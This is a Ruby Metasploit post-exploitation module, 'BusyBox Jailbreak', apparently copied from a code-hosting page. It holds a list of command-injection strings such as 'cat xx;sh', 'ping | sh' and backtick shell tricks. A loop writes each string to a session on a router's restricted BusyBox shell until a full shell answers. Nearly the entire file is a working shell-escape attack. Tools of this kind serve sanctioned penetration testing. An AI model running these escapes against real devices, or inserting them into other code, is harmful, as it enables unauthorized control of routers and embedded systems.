69 lines
1.7 KiB
Ruby
69 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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METHODS = [
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'cat xx || sh',
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'ping || sh',
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'echo `sh >> /dev/ttyp0`',
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'ping `sh >> /dev/ttyp0`',
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'cat `sh >> /dev/ttyp0`',
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'cat xx;sh',
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'echo xx;sh',
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'ping;sh',
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'cat xx | sh',
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'ping | sh',
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'cat ($sh)',
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'cat xx && sh',
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'echo xx && sh',
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'ping && sh'
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]
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def initialize
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super(
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'Name' => 'BusyBox Jailbreak ',
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'Description' => %q{
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This module will send a set of commands to a open session that is connected to a
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BusyBox limited shell (i.e. a router limited shell). It will try different known
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tricks to jailbreak the limited shell and get a full BusyBox shell.
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},
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'Author' => 'Javier Vicente Vallejo',
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'SessionTypes' => ['shell']
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)
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end
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def run
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res = false
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METHODS.each do |m|
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res = try_method(m)
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break if res
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end
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print_error('Unable to jailbreak device shell') unless res
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end
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def try_method(command)
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vprint_status("jailbreak sent: #{command}")
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session.shell_write("#{command}\n")
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(1..10).each do
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resp = session.shell_read
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vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty?
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if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell')
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print_good("Jailbreak accomplished with #{command}")
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return true
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end
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end
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false
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end
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end
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